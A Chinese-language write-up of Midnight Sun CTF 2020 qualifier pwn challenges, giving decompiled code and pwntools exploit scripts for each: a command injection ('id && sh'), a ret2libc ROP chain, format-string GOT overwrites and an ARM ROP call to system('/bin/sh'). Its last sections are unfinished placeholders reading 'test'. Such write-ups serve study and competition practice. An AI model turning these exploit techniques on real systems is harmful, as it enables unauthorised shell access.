【WriteUp】Midnight Sun CTF 2020 Quals -- Pwn 题解

Admpanel

Description:

We found this legacy admin panel. Someone has patched it though :(

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char **v4; // [rsp+0h] [rbp-20h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v4 = a2;
  chall_init();
  chall_start("CONNECT", 0, 0LL, "Todo: log IP address for traceability!");
  menu();
  while ( 1 )
  {
    while ( 1 )
    {
      printf(" > ", 0LL, v4);
      v5 = fgets_atoi();
      if ( v5 != 2 )
        break;
      exec_cmd();
    }
    if ( v5 == 3 )
      break;
    if ( v5 == 1 )
      authenticate();
    else
      menu();
  }
  return 0LL;
}

chall_init 函数如下:

int chall_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

chall_start 函数如下:

__int64 __fastcall chall_start(__int64 a1, int a2, __int64 a3, __int64 a4)
{
  __int64 result; // rax
  _BYTE *v5; // [rsp+0h] [rbp-140h]
  __int64 v6; // [rsp+8h] [rbp-138h]
  char v7; // [rsp+20h] [rbp-120h]
  int v8; // [rsp+12Ch] [rbp-14h]
  size_t maxlen; // [rsp+130h] [rbp-10h]
  char *s; // [rsp+138h] [rbp-8h]

  v6 = a3;
  s = &v7;
  maxlen = 0x100LL;
  v8 = snprintf(&v7, 0x100uLL, "LOG: [OPERATION: %s] ", a1, a4);
  if ( v8 < 0 )
    exit(1);
  s += v8;
  maxlen -= v8;
  if ( a2 )
  {
    v8 = snprintf(s, maxlen, "[USERNAME: %s] ", v6);
    if ( v8 < 0 )
      exit(1);
    s += v8;
    maxlen -= v8;
  }
  if ( *v5 )
  {
    v8 = snprintf(s, maxlen, "%s", v5);
    if ( v8 < 0 )
      exit(1);
    s += v8;
    maxlen -= v8;
  }
  fprintf(stderr, "%s\n", &v7);
  if ( a2 )
    result = v6;
  else
    result = 0LL;
  return result;
}

menu 函数如下:

int menu()
{
  puts("---=-=-=-=-=-=-=-=-=---");
  puts("-      Admin panel    -");
  puts("-");
  puts("- [0] - Help");
  puts("- [1] - Authenticate");
  puts("- [2] - Execute command");
  puts("- [3] - Exit");
  return puts("---=-=-=-=-=-=-=-=-=---");
}

authenticate 函数如下:

int authenticate()
{
  int result; // eax
  char s; // [rsp+0h] [rbp-400h]

  printf("  Input username: ");
  fgets(s1, 1024, stdin);
  if ( strncmp(s1, "admin", 5uLL) )
    return chall_start("AUTHENTICATE", 0, 0LL, "Error: Invalid username.");
  printf("  Input password: ", "admin");
  fgets(&s, 1024, stdin);
  result = strncmp(&s, "password", 8uLL);
  if ( result )
    return chall_start("AUTHENTICATE", 0, 0LL, "Error: Invalid password.");
  dword_4040C0 = 1;
  return result;
}

exec_cmd 函数如下:

int exec_cmd()
{
  char s; // [rsp+0h] [rbp-400h]

  if ( !dword_4040C0 )
    return chall_start("EXEC", 0, 0LL, "Error: unauthenticated user tried to execute a command.");
  printf("  Command to execute: ");
  fgets(&s, 0x400, stdin);
  if ( !strncmp(&s, "id", 2uLL) )
    return system(&s);
  puts("Any other commands than `id` have been disabled due to security concerns.");
  return chall_start("EXEC_HONEYPOT", dword_4040C0, s1, &s);
}

解题思路:

送分题,最后执行 shell 的时候只检查了 2 个字符,所以只要在后面写上获取 shell 的命令就行

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('admpanel-01.play.midnightsunctf.se', 31337)

p.sendlineafter(' > ', '1')
p.sendlineafter('name: ', 'admin')
p.sendlineafter('word: ', 'password')
p.sendlineafter('execute: ', 'id && sh')
p.interactive()

Flag:


Pwny racing - pwn1

Description:

An homage to pwny.racing, we present… speedrun pwn challenges.

These bite-sized challenges should serve as a nice warm-up for your pwning skills.

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts_introduction();
  printf("buffer: ", 0LL);
  gets(&v4);
  return 0LL;
}

puts_introduction 函数如下:

int puts_introduction()
{
  return puts(a382);
}

解题思路:

ret2libc

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('pwn1-01.play.midnightsunctf.se', 10001)
    libc = ELF('./libc.so', checksec=False)
elf = ELF('./chall', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x400698
addr_rop1 = 0x0000000000400783  # pop rdi ; ret

pd = 'a' * 0x48
pd += p64(addr_rop1)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('buffer: ', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x48
pd += p64(addr_rop1 + 1)
pd += p64(addr_rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('buffer: ', pd)
p.interactive()

Flag:


Pwny racing - pwn2

Description:

An homage to pwny.racing, we present… speedrun pwn challenges.

These bite-sized challenges should serve as a nice warm-up for your pwning skills.

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main 函数如下:

void __cdecl __noreturn main(int a1)
{
  char s[4]; // [esp+0h] [ebp-4Ch]
  char v2; // [esp+4h] [ebp-48h]
  unsigned int v3; // [esp+40h] [ebp-Ch]
  int *v4; // [esp+44h] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  *s = 0;
  memset(&v2, 0, 0x3Cu);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  puts_introduction();
  printf("input: ");
  fgets(s, 0x40, stdin);
  printf(s);
  exit(0);
}

puts_introduction 函数如下:

unsigned int puts_introduction()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  puts(s);
  return __readgsdword(0x14u) ^ v0;
}

解题思路:

格式化字符串漏洞入门题

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('pwn1-01.play.midnightsunctf.se', 10001)
    libc = ELF('./libc.so', checksec=False)
elf = ELF('./chall', checksec=False)
got_exit = elf.got['exit']
got_printf = elf.got['printf']
addr_main = 0x080485EB

pd = '%27$p...'
pd += fmtstr_payload(9, {got_exit: addr_main}, numbwritten=13)
p.sendlineafter('input: ', pd)

addr___libc_start_main = int(p.recvuntil('...')[:-3], 16) - 241
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']

# gdb.attach(p, "b *0x08048688\nc")
pd = fmtstr_payload(7, {got_printf: addr_system}, write_size='short')
p.sendlineafter('input: ', pd)
p.sendline('sh')
p.interactive()

Flag:


Pwny racing - pwn3

Description:

An homage to pwny.racing, we present… speedrun pwn challenges.

These bite-sized challenges should serve as a nice warm-up for your pwning skills.

Solution:

程序保护如下:

Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x10000)

main 函数如下:

int main()
{
  int v1; // [sp+0h] [bp+0h]
  int v2; // [sp+4h] [bp+4h]

  v1 = 0;
  memset(&v2, 0, 0x7C);
  IO_setvbuf(off_6F4BC, 0, 2, 0);
  IO_setvbuf(off_6F4B8, 0, 2, 0);
  alarm(60);
  sub_102E4();
  printf("buffer: ");
  IO_fgets(&v1, 0x200, off_6F4BC);
  return 0;
}

sub_102E4 函数如下:

int sub_102E4()
{
  return _libc_system("cat ./banner.txt");
}

解题思路:

去符号化的 arm,后来直接拿 libc6_2.27-0ubuntu3_armhf.sig 还原了

栈溢出,有 system 的地址和 /bin/sh 的地址,蛮简单的

.text:00014B5C __libc_system
.rodata:00049018 aBinSh          DCB "/bin/sh",0

至于为啥要用 0x14b5d 而不是 0x14b5c,据说是 arm 的对齐问题,但是并不懂是啥操作

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
qemu = 'qemu-arm'
libc_path = '/usr/arm-linux-gnueabihf/'

context(arch="arm", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process([qemu, '-g', '12345', '-L', libc_path, './chall'])
    libc = ELF(libc_path + 'libsf/libc.so.6', checksec=False)
elif debug == 2:
    p = process([qemu, '-L', libc_path, './chall'])
    libc = ELF(libc_path + 'libsf/libc.so.6', checksec=False)
else:
    p = remote('pwn3-01.play.midnightsunctf.se', 10003)
    libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
addr_rop1 = 0x13c9c  # pop {r0, r1, r2, ip, sp, pc}
addr_system = 0x14b5d
addr_bin_sh = 0x49018

pd = 'a' * 0x8c
pd += p32(addr_rop1)
pd += p32(addr_bin_sh)
pd += p32(0)
pd += p32(0)
pd += p32(0)
pd += p32(0x70000)
pd += p32(addr_system)
p.sendlineafter('buffer: ', pd)
p.interactive()

Flag:


Pwny racing - pwn4

Description:

An homage to pwny.racing, we present… speedrun pwn challenges.

These bite-sized challenges should serve as a nice warm-up for your pwning skills.

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int result; // eax
  int v5; // eax
  int v6; // esi
  int v7; // eax
  int v8; // [esp+0h] [ebp-34h]
  char v9; // [esp+4h] [ebp-30h]
  int v10; // [esp+14h] [ebp-20h]
  int *v11; // [esp+18h] [ebp-1Ch]
  int *v12; // [esp+28h] [ebp-Ch]

  v12 = &argc;
  v8 = 0;
  nukeenv(argv, envp);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v3 = sysconf(30);
  v11 = mmap(0, v3, 3, 34, -1, 0);
  if ( v11 == -1 )
  {
    perror("mmap");
    result = 1;
  }
  else if ( get_secret(v11) == 4 )
  {
    v10 = *v11;
    v5 = sysconf(30);
    if ( mprotect(v11, v5, 1) == -1 )
    {
      perror("mprotect");
      result = 1;
    }
    else
    {
      j_memset_ifunc(&v9, 0, 16);
      banner();
      fwrite("user: ", 1, 6, stdout);
      _isoc99_scanf("%13s", &v9);
      fwrite("code: ", 1, 6, stdout);
      _isoc99_scanf("%4d", &v8);
      log_attempt(&v9, &v8);
      sleep(0);
      if ( v10 != v8 )
        exit(1);
      v6 = getegid();
      v7 = getegid();
      setregid(v7, v6);
      system("/bin/sh");
      result = 0;
    }
  }
  else
  {
    fwrite("error reading secret\n", 1, 21, stderr);
    result = 1;
  }
  return result;
}

nukeenv 函数如下:

int __cdecl nukeenv(int a1, int a2)
{
  clear(a1);
  return clear(a2);
}

clear 函数如下:

signed int __cdecl clear(signed int *a1)
{
  signed int result; // eax
  _BYTE *j; // [esp+8h] [ebp-8h]
  signed int *i; // [esp+Ch] [ebp-4h]

  result = 0x80F2F74;
  if ( a1 )
  {
    for ( i = a1; ; ++i )
    {
      result = *i;
      if ( !*i )
        break;
      for ( j = *i; *j; ++j )
        *j = 0;
    }
  }
  return result;
}

get_secret 函数如下:

int __cdecl get_secret(_DWORD *a1)
{
  int v1; // ST18_4
  int v3; // [esp+Ch] [ebp-Ch]

  v3 = open("/dev/urandom", 0);
  if ( v3 < 0 )
  {
    perror("urandom");
    exit(1);
  }
  v1 = read(v3, a1, 4);
  *a1 &= 0xCA11AB1E;
  close(v3);
  return v1;
}

banner 函数如下:

int banner()
{
  return puts(asc_80C1710);
}

log_attempt 函数如下:

int __cdecl log_attempt(char a1, int *a2)
{
  int v2; // ST10_4
  char v3; // ST18_1
  char v5; // [esp+0h] [ebp-28h]

  j_memset_ifunc(&v5, 0, 32);
  v2 = *a2;
  snprintf(&v5, 0x1F, "%s %d\n", a1);
  fwrite("logged: ", 1, 8, stderr);
  return fprintf(stderr, &v5, v3);
}

解题思路:

log_attempt 函数最后一个 fprintf 处存在格式化字符串漏洞

程序检测栈上的两处数据是否相等,相等就能获得 shell

这题是一道专门为知识点出的题,给好评

%*25$c 的意思是打印 n 个空格,n 为格式化字符串 25 偏移处的栈上内容

那么利用这个知识点就可以进行短字符串的格式化字符串利用了

缺点就是每次打印的数值太大了,一般格式化字符串的题目用不到这个知识点

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('pwn1-01.play.midnightsunctf.se', 10001)
# gdb.attach(p, "b *0x08048C66\nc")

p.sendlineafter('user: ', '%*25$c%16$n')
p.sendlineafter('code: ', '1024')

info('Receiving all data')
info('Press CTRL+C to switch to interactive...');

tot = 0
while 1:
    try:
        data = p.recv(1e6, timeout=0.1)
        tot += len(data)
    except:
        break

success('done (%d MB)', tot/1e6)
p.interactive()

Flag:


Pwny racing - pwn5

Description:

An homage to pwny.racing, we present… speedrun pwn challenges.

These bite-sized challenges should serve as a nice warm-up for your pwning skills.

Solution:

程序保护如下:

Arch:     mips-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

main 函数如下:

void main(void)

{
  undefined4 uVar1;
  undefined4 uVar2;
  uint *puVar3;
  undefined4 uVar4;
  int iVar5;
  uint auStack72 [16];
  
  setvbuf((uint *)stdin,0,2,0);
  iVar5 = 0;
  uVar4 = 2;
  uVar2 = 0;
  setvbuf((uint *)stdout,0,2,0);
  uVar1 = 0x3c;
  alarm();
  puts_introduction(uVar1,uVar2,uVar4,iVar5);
  puts((uint *)"data:",uVar2,uVar4,iVar5);
  puVar3 = auStack72;
  scanf("%s",puVar3,uVar4,iVar5);
  printf_hex(auStack72,(uint)puVar3,uVar4,iVar5);
  return;
}

puts_introduction 函数如下:

void puts_introduction(undefined4 param_1,undefined4 param_2,undefined4 param_3,int param_4)

{
  puts((uint *)&DAT_00473c20,param_2,param_3,param_4);
  return;
}

printf_hex 函数如下:

uint * printf_hex(uint *param_1,uint param_2,undefined4 param_3,int param_4)

{
  uint *puVar1;
  uint *puStack16;
  
  FUN_00409750(10,param_2,param_3,param_4);
  puStack16 = (uint *)0x0;
  while (puVar1 = FUN_0041a4d0(param_1), puStack16 < puVar1) {
    param_2 = (int)*(char *)((int)param_1 + (int)puStack16) & 0xff;
    printf((uint *)"%02x ",param_2,param_3,param_4);
    puStack16 = (uint *)((int)puStack16 + 1);
  }
  FUN_00409750(10,param_2,param_3,param_4);
  return puStack16;
}

解题思路:

mips 去符号化真要命,网上也没有 mips 的 sig,自己还懒得写脚本制作

所以就拿 ghidra 自己猜猜函数了,改完就是上方显示的代码了

exp 如下:

test

Flag:

动态靶机

test

Description:

test

Solution:

程序保护如下:

test

main 函数如下:

test

解题思路:

exp 如下:

test

Flag:

动态靶机

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注